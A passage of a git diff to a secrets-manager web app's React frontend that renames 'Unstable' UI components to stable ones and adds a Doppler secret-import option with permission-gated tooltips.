                     <span>You do not have permission to read secrets in this folder</span>
                     <Button
                       variant="outline"
@@ -2466,12 +2532,12 @@ const OverviewPageContent = () => {
                     >
                       Request Access
                     </Button>
-                  </UnstableAlertTitle>
-                </UnstableAlert>
+                  </AlertTitle>
+                </Alert>
               ) : !canCreateSecrets || !canEditSecrets || !canDeleteSecrets ? (
-                <UnstableAlert variant="info" className="mb-6 py-1.5">
+                <Alert variant="info" className="mb-6 py-1.5">
                   <InfoIcon className="mt-1" />
-                  <UnstableAlertTitle className="flex items-center">
+                  <AlertTitle className="flex items-center">
                     <span>
                       You do not have permission to{" "}
                       {(() => {
@@ -2499,14 +2565,12 @@ const OverviewPageContent = () => {
                     >
                       Request Access
                     </Button>
-                  </UnstableAlertTitle>
-                </UnstableAlert>
+                  </AlertTitle>
+                </Alert>
               ) : null)}
             {tableView === "tag-filter-empty" && <EmptyResourceDisplay isFiltered />}
             {tableView === "filter-empty" && (
-              <EmptyResourceDisplay
-                isFiltered={isTableFiltered || Boolean(debouncedSearchFilter)}
-              />
+              <EmptyResourceDisplay isFiltered={isTableFiltered || Boolean(searchFilter)} />
             )}
             {tableView === "add-first-secret" && (
               <div className="relative">
@@ -2580,10 +2644,10 @@ const OverviewPageContent = () => {
             {tableView === "table" && (
               <>
                 <DragDropProvider onDragEnd={handleSecretImportReorder}>
-                  <UnstableTable ref={tableRef} className="border-separate border-spacing-0">
-                    <UnstableTableHeader>
-                      <UnstableTableRow className="h-10">
-                        <UnstableTableHead
+                  <Table ref={tableRef} className="border-separate border-spacing-0">
+                    <TableHeader>
+                      <TableRow className="h-10">
+                        <TableHead
                           className={twMerge(
                             !isSingleEnvView && "sticky",
                             "left-0 z-10 w-[40px] max-w-[40px] min-w-[40px] bg-container"
@@ -2597,8 +2661,8 @@ const OverviewPageContent = () => {
                             isIndeterminate={allRowsSelectedOnPage.isIndeterminate}
                             onCheckedChange={toggleSelectAllRows}
                           />
-                        </UnstableTableHead>
-                        <UnstableTableHead
+                        </TableHead>
+                        <TableHead
                           className={twMerge(
                             !isSingleEnvView && "sticky",
                             "left-10 z-10 max-w-60 min-w-60 border-r bg-container lg:max-w-none lg:min-w-96"
@@ -2618,29 +2682,29 @@ const OverviewPageContent = () => {
                               "transition-transform"
                             )}
                           />
-                        </UnstableTableHead>
+                        </TableHead>
                         {visibleEnvs.length > 1 ? (
                           visibleEnvs?.map(({ name, slug, id }, index) => {
                             return (
-                              <UnstableTableHead
+                              <TableHead
                                 className="w-40 max-w-40 border-r p-0 text-center last:border-r-0"
                                 isTruncatable
                                 key={`secret-overview-${name}-${index + 1}`}
                               >
-                                <UnstableDropdownMenu>
+                                <DropdownMenu>
                                   <Tooltip>
                                     <TooltipTrigger className="h-full">
-                                      <UnstableDropdownMenuTrigger asChild>
+                                      <DropdownMenuTrigger asChild>
                                         <div className="flex h-full w-40 cursor-pointer items-center justify-center gap-x-2 px-3 hover:bg-foreground/5">
                                           <span className="truncate">{name}</span>
                                           <SettingsIcon className="size-3.5 shrink-0" />
                                         </div>
-                                      </UnstableDropdownMenuTrigger>
+                                      </DropdownMenuTrigger>
                                     </TooltipTrigger>
                                     <TooltipContent>{name}</TooltipContent>
                                   </Tooltip>
-                                  <UnstableDropdownMenuContent align="end">
-                                    <UnstableDropdownMenuItem
+                                  <DropdownMenuContent align="end">
+                                    <DropdownMenuItem
                                       onClick={() => {
                                         navigator.clipboard.writeText(slug);
                                         createNotification({
@@ -2651,8 +2715,8 @@ const OverviewPageContent = () => {
                                     >
                                       <CopyIcon />
                                       Copy Environment Slug
-                                    </UnstableDropdownMenuItem>
-                                    <UnstableDropdownMenuItem
+                                    </DropdownMenuItem>
+                                    <DropdownMenuItem
                                       onClick={async () => {
                                         try {
                                           const { secrets: envSecrets, imports: importedSecrets } =
@@ -2690,13 +2754,11 @@ const OverviewPageContent = () => {
                                     >
                                       <DownloadIcon />
                                       Download as .env
-                                    </UnstableDropdownMenuItem>
-                                    <UnstableDropdownMenuItem
-                                      onClick={() => handleViewCommitHistory(slug)}
-                                    >
+                                    </DropdownMenuItem>
+                                    <DropdownMenuItem onClick={() => handleViewCommitHistory(slug)}>
                                       <GitCommitIcon />
                                       View Commit History
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                     <ProjectPermissionCan
                                       I={ProjectPermissionActions.Delete}
                                       a={ProjectPermissionSub.Environments}
@@ -2704,7 +2766,7 @@ const OverviewPageContent = () => {
                                       {(isAllowed) => (
                                         <Tooltip open={!isAllowed ? undefined : false}>
                                           <TooltipTrigger className="block w-full">
-                                            <UnstableDropdownMenuItem
+                                            <DropdownMenuItem
                                               isDisabled={!isAllowed}
                                               onClick={() =>
                                                 handlePopUpOpen("deleteEnv", {
@@ -2716,7 +2778,7 @@ const OverviewPageContent = () => {
                                             >
                                               <TrashIcon />
                                               Delete Environment
-                                            </UnstableDropdownMenuItem>
+                                            </DropdownMenuItem>
                                           </TooltipTrigger>
                                           <TooltipContent side="left">
                                             Access Restricted
@@ -2724,13 +2786,13 @@ const OverviewPageContent = () => {
                                         </Tooltip>
                                       )}
                                     </ProjectPermissionCan>
-                                  </UnstableDropdownMenuContent>
-                                </UnstableDropdownMenu>
-                              </UnstableTableHead>
+                                  </DropdownMenuContent>
+                                </DropdownMenu>
+                              </TableHead>
                             );
                           })
                         ) : (
-                          <UnstableTableHead className="w-full">
+                          <TableHead className="w-full">
                             <div className="flex w-full items-center justify-between">
                               Value
                               <div className="flex items-center gap-2">
@@ -2816,41 +2878,41 @@ const OverviewPageContent = () => {
                                 />
                               </div>
                             </div>
-                          </UnstableTableHead>
+                          </TableHead>
                         )}
-                      </UnstableTableRow>
-                    </UnstableTableHeader>
-                    <UnstableTableBody className="transition-all duration-500">
+                      </TableRow>
+                    </TableHeader>
+                    <TableBody className="transition-all duration-500">
                       {isOverviewLoading || isPlaceholderData ? (
                         Array.from({ length: prevPageSize.current || perPage }).map((_, index) => (
-                          <UnstableTableRow className="group" key={`loading-row-${index + 1}`}>
-                            <UnstableTableCell
+                          <TableRow className="group" key={`loading-row-${index + 1}`}>
+                            <TableCell
                               className={twMerge(
                                 !isSingleEnvView && "sticky",
                                 "left-0 z-10 bg-container group-hover:bg-container-hover"
                               )}
                             >
                               <Skeleton className="h-4 w-full" />
-                            </UnstableTableCell>
-                            <UnstableTableCell
+                            </TableCell>
+                            <TableCell
                               className={twMerge(
                                 !isSingleEnvView && "sticky",
                                 "left-10 z-10 border-r bg-container group-hover:bg-container-hover"
                               )}
                             >
                               <Skeleton className="h-4 w-full" />
-                            </UnstableTableCell>
+                            </TableCell>
                             {visibleEnvs.map((env) => {
                               return (
-                                <UnstableTableCell
+                                <TableCell
                                   className="border-r last:border-r-0"
                                   key={`loading-env-row-${env.slug}+${index + 1}`}
                                 >
                                   <Skeleton className="h-4 w-full" />
-                                </UnstableTableCell>
+                                </TableCell>
                               );
                             })}
-                          </UnstableTableRow>
+                          </TableRow>
                         ))
                       ) : (
                         <>
@@ -2868,7 +2930,7 @@ const OverviewPageContent = () => {
                                 getSecretImportByEnv={getSecretImportByEnv}
                                 tableWidth={tableWidth}
                                 secretPath={secretPath}
-                                searchFilter={debouncedSearchFilter}
+                                searchFilter={searchFilter}
                                 onDelete={(secretImport) =>
                                   handlePopUpOpen("deleteSecretImport", secretImport)
                                 }
@@ -2889,7 +2951,7 @@ const OverviewPageContent = () => {
                                   getSecretImportByEnv={getSecretImportByEnv}
                                   tableWidth={tableWidth}
                                   secretPath={secretPath}
-                                  searchFilter={debouncedSearchFilter}
+                                  searchFilter={searchFilter}
                                   onDelete={(secretImport) =>
                                     handlePopUpOpen("deleteSecretImport", secretImport)
                                   }
@@ -2968,6 +3030,12 @@ const OverviewPageContent = () => {
                               getSecretRotationStatusesByName={getSecretRotationStatusesByName}
                               key={`overview-${secretRotationName}-${index + 1}`}
                               tableWidth={tableWidth}
+                              isSelected={Boolean(
+                                selectedEntries.secretRotation[secretRotationName]
+                              )}
+                              onToggleRotationSelect={() =>
+                                toggleSelectedEntry(EntryType.SECRET_ROTATION, secretRotationName)
+                              }
                               onEdit={(secretRotation) =>
                                 handlePopUpOpen("editSecretRotation", secretRotation)
                               }
@@ -3029,8 +3097,8 @@ const OverviewPageContent = () => {
                           />
                         </>
                       )}
-                    </UnstableTableBody>
-                  </UnstableTable>
+                    </TableBody>
+                  </Table>
                   <DragOverlay
                     tag="table"
                     className="w-full caption-bottom text-sm"
@@ -3039,7 +3107,7 @@ const OverviewPageContent = () => {
                     {null}
                   </DragOverlay>
                 </DragDropProvider>
-                <UnstablePagination
+                <Pagination
                   startAdornment={
                     <ResourceCount
                       dynamicSecretCount={totalDynamicSecretCount}
@@ -3057,8 +3125,8 @@ const OverviewPageContent = () => {
                 />
               </>
             )}
-          </UnstableCardContent>
-        </UnstableCard>
+          </CardContent>
+        </Card>
       </div>
       <Sheet
         modal={false}
@@ -3328,6 +3396,17 @@ const OverviewPageContent = () => {
         projectId={projectId}
         secretPath={secretPath}
         initialParsedSecrets={importParsedSecrets}
+        onComplete={(envSlugs) => {
+          const visibleSlugs = new Set(visibleEnvs.map((e) => e.slug));
+          const allTargetEnvsVisible = envSlugs.every((slug) => visibleSlugs.has(slug));
+
+          if (!allTargetEnvsVisible) {
+            const targetEnvs = userAvailableEnvs.filter((env) => envSlugs.includes(env.slug));
+            if (targetEnvs.length) {
+              setFilteredEnvs(targetEnvs);
+            }
+          }
+        }}
       />
       <ReplicateFolderFromBoard
         isOpen={popUp.replicateFolder.isOpen}
@@ -3397,6 +3476,16 @@ const OverviewPageContent = () => {
         secretPath={secretPath}
         onImport={handleVaultImport}
       />
+      {dopplerImportConfigs.length > 0 && (
+        <DopplerSecretImportModal
+          isOpen={popUp.importFromDoppler.isOpen}
+          onOpenChange={(isOpen) => handlePopUpToggle("importFromDoppler", isOpen)}
+          configs={dopplerImportConfigs}
+          environment={singleEnvSlug}
+          secretPath={secretPath}
+          onImport={handleDopplerImport}
+        />
+      )}
       <AlertDialog
         open={popUp.deleteFolder.isOpen}
         onOpenChange={(isOpen) => handlePopUpToggle("deleteFolder", isOpen)}
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/AddResourceButtons/AddResourceButtons.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/AddResourceButtons/AddResourceButtons.tsx
index 26affc0ab52..c720bbb443e 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/AddResourceButtons/AddResourceButtons.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/AddResourceButtons/AddResourceButtons.tsx
@@ -12,15 +12,15 @@ import {
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Button,
+  ButtonGroup,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableButtonGroup,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 
@@ -33,12 +33,14 @@ type Props = {
   onImportSecrets: () => void;
   onReplicateSecrets: () => void;
   onImportFromVault: () => void;
+  onImportFromDoppler: () => void;
   isDyanmicSecretAvailable: boolean;
   isSecretRotationAvailable: boolean;
   isReplicateSecretsAvailable: boolean;
   isSecretImportAvailable: boolean;
   isSingleEnvSelected: boolean;
   hasVaultConnection: boolean;
+  hasDopplerConnection: boolean;
   isOrgAdmin: boolean;
 };
 
@@ -51,16 +53,24 @@ export function AddResourceButtons({
   onImportSecrets,
   onReplicateSecrets,
   onImportFromVault,
+  onImportFromDoppler,
   isDyanmicSecretAvailable,
   isSecretRotationAvailable,
   isReplicateSecretsAvailable,
   isSecretImportAvailable,
   isSingleEnvSelected,
   hasVaultConnection,
+  hasDopplerConnection,
   isOrgAdmin
 }: Props) {
+  const getInPlatformImportTooltip = (platform: string) => {
+    if (!isOrgAdmin) return `Only organization admins can import secrets from ${platform}`;
+    if (!isSingleEnvSelected) return `Select a single environment to import from ${platform}`;
+    return "Access Restricted";
+  };
+
   return (
-    <UnstableButtonGroup>
+    <ButtonGroup>
       <ProjectPermissionCan I={ProjectPermissionActions.Create} a={ProjectPermissionSub.Secrets}>
         {(isAllowed) => (
           <Tooltip open={!isAllowed ? undefined : false}>
@@ -79,13 +89,13 @@ export function AddResourceButtons({
           </Tooltip>
         )}
       </ProjectPermissionCan>
-      <UnstableDropdownMenu>
-        <UnstableDropdownMenuTrigger asChild>
-          <UnstableIconButton variant="project">
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <IconButton variant="project">
             <ChevronDown />
-          </UnstableIconButton>
-        </UnstableDropdownMenuTrigger>
-        <UnstableDropdownMenuContent align="end">
+          </IconButton>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align="end">
           <ProjectPermissionCan
             I={ProjectPermissionActions.Create}
             a={ProjectPermissionSub.SecretFolders}
@@ -93,10 +103,10 @@ export function AddResourceButtons({
             {(isAllowed) => (
               <Tooltip open={!isAllowed ? undefined : false}>
                 <TooltipTrigger className="block w-full">
-                  <UnstableDropdownMenuItem onClick={onAddFolder} isDisabled={!isAllowed}>
+                  <DropdownMenuItem onClick={onAddFolder} isDisabled={!isAllowed}>
                     <FolderIcon className="text-folder" />
                     Add Folder
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 </TooltipTrigger>
                 <TooltipContent side="left">Access Restricted</TooltipContent>
               </Tooltip>
@@ -104,37 +114,37 @@ export function AddResourceButtons({
           </ProjectPermissionCan>
           <Tooltip open={!isDyanmicSecretAvailable ? undefined : false}>
             <TooltipTrigger className="block w-full">
-              <UnstableDropdownMenuItem
+              <DropdownMenuItem
                 onClick={onAddDyanamicSecret}
                 isDisabled={!isDyanmicSecretAvailable}
               >
                 <FingerprintIcon className="text-dynamic-secret" />
                 Add Dynamic Secret
-              </UnstableDropdownMenuItem>
+              </DropdownMenuItem>
             </TooltipTrigger>
             <TooltipContent side="left">Access restricted</TooltipContent>
           </Tooltip>
           <Tooltip open={!isSecretRotationAvailable ? undefined : false}>
             <TooltipTrigger className="block w-full">
-              <UnstableDropdownMenuItem
+              <DropdownMenuItem
                 onClick={onAddSecretRotation}
                 isDisabled={!isSecretRotationAvailable}
               >
                 <RefreshCwIcon className="text-secret-rotation" />
                 Add Secret Rotation
-              </UnstableDropdownMenuItem>
+              </DropdownMenuItem>
             </TooltipTrigger>
             <TooltipContent side="left">Access restricted</TooltipContent>
           </Tooltip>
           <Tooltip open={!isSecretImportAvailable || !isSingleEnvSelected ? undefined : false}>
             <TooltipTrigger className="block w-full">
-              <UnstableDropdownMenuItem
+              <DropdownMenuItem
                 onClick={onAddSecretImport}
                 isDisabled={!isSecretImportAvailable || !isSingleEnvSelected}
               >
                 <ImportIcon className="text-import" />
                 Add Secret Import
-              </UnstableDropdownMenuItem>
+              </DropdownMenuItem>
             </TooltipTrigger>
             <TooltipContent side="left">
               {!isSecretImportAvailable
@@ -149,10 +159,10 @@ export function AddResourceButtons({
             {(isAllowed) => (
               <Tooltip open={!isAllowed ? undefined : false}>
                 <TooltipTrigger className="block w-full">
-                  <UnstableDropdownMenuItem onClick={onImportSecrets} isDisabled={!isAllowed}>
+                  <DropdownMenuItem onClick={onImportSecrets} isDisabled={!isAllowed}>
                     <UploadIcon className="text-accent" />
                     Upload Secrets
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 </TooltipTrigger>
                 <TooltipContent side="left">Access Restricted</TooltipContent>
               </Tooltip>
@@ -165,13 +175,13 @@ export function AddResourceButtons({
             {(isAllowed) => (
               <Tooltip open={!isReplicateSecretsAvailable || !isAllowed ? undefined : false}>
                 <TooltipTrigger className="block w-full">
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={onReplicateSecrets}
                     isDisabled={!isReplicateSecretsAvailable || !isAllowed}
                   >
                     <ClipboardPasteIcon className="text-accent" />
                     Replicate Secrets
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 </TooltipTrigger>
                 <TooltipContent side="left">
                   {!isReplicateSecretsAvailable
@@ -191,7 +201,7 @@ export function AddResourceButtons({
                   open={!isAllowed || !isOrgAdmin || !isSingleEnvSelected ? undefined : false}
                 >
                   <TooltipTrigger className="block w-full">
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       onClick={onImportFromVault}
                       isDisabled={!isAllowed || !isOrgAdmin || !isSingleEnvSelected}
                     >
@@ -203,22 +213,48 @@ export function AddResourceButtons({
                         />
                       </div>
                       Add from HashiCorp Vault
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
+                  </TooltipTrigger>
+                  <TooltipContent side="left">
+                    {getInPlatformImportTooltip("HashiCorp Vault")}
+                  </TooltipContent>
+                </Tooltip>
+              )}
+            </ProjectPermissionCan>
+          )}
+          {hasDopplerConnection && (
+            <ProjectPermissionCan
+              I={ProjectPermissionActions.Create}
+              a={ProjectPermissionSub.Secrets}
+            >
+              {(isAllowed) => (
+                <Tooltip
+                  open={!isAllowed || !isOrgAdmin || !isSingleEnvSelected ? undefined : false}
+                >
+                  <TooltipTrigger className="block w-full">
+                    <DropdownMenuItem
+                      onClick={onImportFromDoppler}
+                      isDisabled={!isAllowed || !isOrgAdmin || !isSingleEnvSelected}
+                    >
+                      <div className="flex w-4.5 justify-center rounded-full bg-foreground/75">
+                        <img
+                          src="/images/integrations/Doppler.png"
+                          alt="Doppler"
+                          className="mt-0.5 h-4 w-4"
+                        />
+                      </div>
+                      Add from Doppler
+                    </DropdownMenuItem>
                   </TooltipTrigger>
                   <TooltipContent side="left">
-                    {/* eslint-disable-next-line no-nested-ternary */}
-                    {!isOrgAdmin
-                      ? "Only organization admins can import secrets from HashiCorp Vault"
-                      : !isSingleEnvSelected
-                        ? "Select a single environment to import from HashiCorp Vault"
-                        : "Access Restricted"}
+                    {getInPlatformImportTooltip("Doppler")}
                   </TooltipContent>
                 </Tooltip>
               )}
             </ProjectPermissionCan>
           )}
-        </UnstableDropdownMenuContent>
-      </UnstableDropdownMenu>
-    </UnstableButtonGroup>
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </ButtonGroup>
   );
 }
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/CreateSecretForm/CreateSecretForm.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/CreateSecretForm/CreateSecretForm.tsx
index be5bb099b7d..ddf8dabcd78 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/CreateSecretForm/CreateSecretForm.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/CreateSecretForm/CreateSecretForm.tsx
@@ -9,16 +9,16 @@ import { z } from "zod";
 import { createNotification } from "@app/components/notifications";
 import {
   Button,
+  IconButton,
   InfisicalSecretInput,
+  Input,
   PasswordGenerator,
   SheetFooter,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   Field,
@@ -374,7 +374,7 @@ export const CreateSecretForm = ({
               <FieldLabel>Key</FieldLabel>
               <FieldContent>
                 <div className="relative">
-                  <UnstableInput
+                  <Input
                     ref={secretKeyInputRef}
                     value={field.value ?? ""}
                     onChange={(e) => {
@@ -538,7 +538,7 @@ export const CreateSecretForm = ({
                       name={`metadata.${index}.key`}
                       render={({ field: inputField, fieldState: { error } }) => (
                         <>
-                          <UnstableInput {...inputField} placeholder="Enter key" className="h-8" />
+                          <Input {...inputField} placeholder="Enter key" className="h-8" />
                           <FieldError errors={[error]} />
                         </>
                       )}
@@ -554,11 +554,7 @@ export const CreateSecretForm = ({
                       name={`metadata.${index}.value`}
                       render={({ field: inputField, fieldState: { error } }) => (
                         <>
-                          <UnstableInput
-                            {...inputField}
-                            placeholder="Enter value"
-                            className="h-8"
-                          />
+                          <Input {...inputField} placeholder="Enter value" className="h-8" />
                           <FieldError errors={[error]} />
                         </>
                       )}
@@ -583,7 +579,7 @@ export const CreateSecretForm = ({
                   />
                 </Field>
 
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   type="button"
@@ -594,7 +590,7 @@ export const CreateSecretForm = ({
                   onClick={() => removeMetadata(index)}
                 >
                   <TrashIcon className="size-4" />
-                </UnstableIconButton>
+                </IconButton>
               </div>
             ))}
           </div>
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/DownloadEnvButton/DownloadEnvButton.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/DownloadEnvButton/DownloadEnvButton.tsx
index acd5e7fb730..89029a45508 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/DownloadEnvButton/DownloadEnvButton.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/DownloadEnvButton/DownloadEnvButton.tsx
@@ -3,7 +3,7 @@ import { AxiosError } from "axios";
 import { DownloadIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
-import { Tooltip, TooltipContent, TooltipTrigger, UnstableIconButton } from "@app/components/v3";
+import { IconButton, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 import { downloadSecretEnvFile } from "@app/helpers/download";
 import { fetchProjectSecrets } from "@app/hooks/api/secrets/queries";
 import { ApiErrorTypes, ProjectEnv, TApiErrors } from "@app/hooks/api/types";
@@ -59,7 +59,7 @@ export const DownloadEnvButton = ({ environments, projectId, secretPath }: Props
   return (
     <Tooltip>
       <TooltipTrigger>
-        <UnstableIconButton
+        <IconButton
           variant="outline"
           size="md"
           isDisabled={environments.length !== 1}
@@ -67,7 +67,7 @@ export const DownloadEnvButton = ({ environments, projectId, secretPath }: Props
           isPending={isDownloading}
         >
           <DownloadIcon />
-        </UnstableIconButton>
+        </IconButton>
       </TooltipTrigger>
       <TooltipContent>
         {environments.length !== 1
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/DynamicSecretTableRow/DynamicSecretTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/DynamicSecretTableRow/DynamicSecretTableRow.tsx
index 6c5eed6c4a1..7fd3057474f 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/DynamicSecretTableRow/DynamicSecretTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/DynamicSecretTableRow/DynamicSecretTableRow.tsx
@@ -14,16 +14,16 @@ import { twMerge } from "tailwind-merge";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Badge,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionDynamicSecretActions, ProjectPermissionSub } from "@app/context";
 import { useToggle } from "@app/hooks";
@@ -148,7 +148,7 @@ export const DynamicSecretTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -159,7 +159,7 @@ export const DynamicSecretTableRow = ({
                   }}
                 >
                   <ListIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>View Leases</TooltipContent>
             </Tooltip>
@@ -176,7 +176,7 @@ export const DynamicSecretTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -187,7 +187,7 @@ export const DynamicSecretTableRow = ({
                   }}
                 >
                   <FileKeyIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Generate Lease</TooltipContent>
             </Tooltip>
@@ -204,7 +204,7 @@ export const DynamicSecretTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -215,7 +215,7 @@ export const DynamicSecretTableRow = ({
                   }}
                 >
                   <EditIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Edit</TooltipContent>
             </Tooltip>
@@ -233,7 +233,7 @@ export const DynamicSecretTableRow = ({
             {(isAllowed) => (
               <Tooltip>
                 <TooltipTrigger>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7 hover:text-danger"
@@ -244,7 +244,7 @@ export const DynamicSecretTableRow = ({
                     }}
                   >
                     <XIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </TooltipTrigger>
                 <TooltipContent>Force Delete</TooltipContent>
               </Tooltip>
@@ -262,7 +262,7 @@ export const DynamicSecretTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7 hover:text-danger"
@@ -273,7 +273,7 @@ export const DynamicSecretTableRow = ({
                   }}
                 >
                   <TrashIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Delete</TooltipContent>
             </Tooltip>
@@ -285,11 +285,11 @@ export const DynamicSecretTableRow = ({
 
   return (
     <>
-      <UnstableTableRow
+      <TableRow
         onClick={isSingleEnvView ? undefined : setIsExpanded.toggle}
         className="group hover:z-10"
       >
-        <UnstableTableCell
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-0 z-10",
             "bg-container transition-colors duration-75 group-hover:bg-container-hover",
@@ -301,8 +301,8 @@ export const DynamicSecretTableRow = ({
           ) : (
             <FingerprintIcon className="text-dynamic-secret" />
           )}
-        </UnstableTableCell>
-        <UnstableTableCell
+        </TableCell>
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-10 z-10 border-r",
             "bg-container transition-colors duration-75 group-hover:bg-container-hover",
@@ -344,12 +344,12 @@ export const DynamicSecretTableRow = ({
               )}
             </>
           )}
-        </UnstableTableCell>
+        </TableCell>
         {environments.length > 1 &&
           environments.map(({ slug }, i) => {
             if (isExpanded)
               return (
-                <UnstableTableCell
+                <TableCell
                   key={`sec-overview-${slug}-${i + 1}-dynamic-secret`}
                   className="border-b-0 bg-container-hover"
                 />
@@ -364,22 +364,22 @@ export const DynamicSecretTableRow = ({
               />
             );
           })}
-      </UnstableTableRow>
+      </TableRow>
       {!isSingleEnvView && isExpanded && (
-        <UnstableTableRow>
-          <UnstableTableCell colSpan={totalCols} className={`${isExpanded && "bg-card p-0"}`}>
+        <TableRow>
+          <TableCell colSpan={totalCols} className={`${isExpanded && "bg-card p-0"}`}>
             <div
               style={{ minWidth: tableWidth, maxWidth: tableWidth }}
               className="sticky left-0 flex flex-col gap-y-4 border-t-2 border-b-1 border-l-1 border-border border-x-project/50 bg-card p-4"
             >
-              <UnstableTable containerClassName="border-none rounded-none bg-transparent">
-                <UnstableTableHeader>
-                  <UnstableTableRow>
-                    <UnstableTableHead className="w-full">Environment</UnstableTableHead>
-                    <UnstableTableHead />
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+              <Table containerClassName="border-none rounded-none bg-transparent">
+                <TableHeader>
+                  <TableRow>
+                    <TableHead className="w-full">Environment</TableHead>
+                    <TableHead />
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {environments
                     .filter((env) => {
                       const dynamicSecret = getDynamicSecretByName(env.slug, dynamicSecretName);
@@ -389,8 +389,8 @@ export const DynamicSecretTableRow = ({
                       const dynamicSecret = getDynamicSecretByName(slug, dynamicSecretName)!;
 
                       return (
-                        <UnstableTableRow key={slug} className="group relative hover:z-10">
-                          <UnstableTableCell colSpan={2}>
+                        <TableRow key={slug} className="group relative hover:z-10">
+                          <TableCell colSpan={2}>
                             <div className="relative flex w-full flex-wrap items-center">
                               <span>{envName}</span>
                               <Badge variant="neutral" className="ml-2">
@@ -401,15 +401,15 @@ export const DynamicSecretTableRow = ({
                                 {renderActionButtons(dynamicSecret)}
                               </div>
                             </div>
-                          </UnstableTableCell>
-                        </UnstableTableRow>
+                          </TableCell>
+                        </TableRow>
                       );
                     })}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
             </div>
-          </UnstableTableCell>
-        </UnstableTableRow>
+          </TableCell>
+        </TableRow>
       )}
     </>
   );
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/EmptyResourceDisplay/EmptyResourceDisplay.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/EmptyResourceDisplay/EmptyResourceDisplay.tsx
index 5c87502fc5d..6f608109ffb 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/EmptyResourceDisplay/EmptyResourceDisplay.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/EmptyResourceDisplay/EmptyResourceDisplay.tsx
@@ -1,12 +1,6 @@
 import { FolderPlusIcon, SearchIcon } from "lucide-react";
 
-import {
-  EmptyMedia,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
-} from "@app/components/v3";
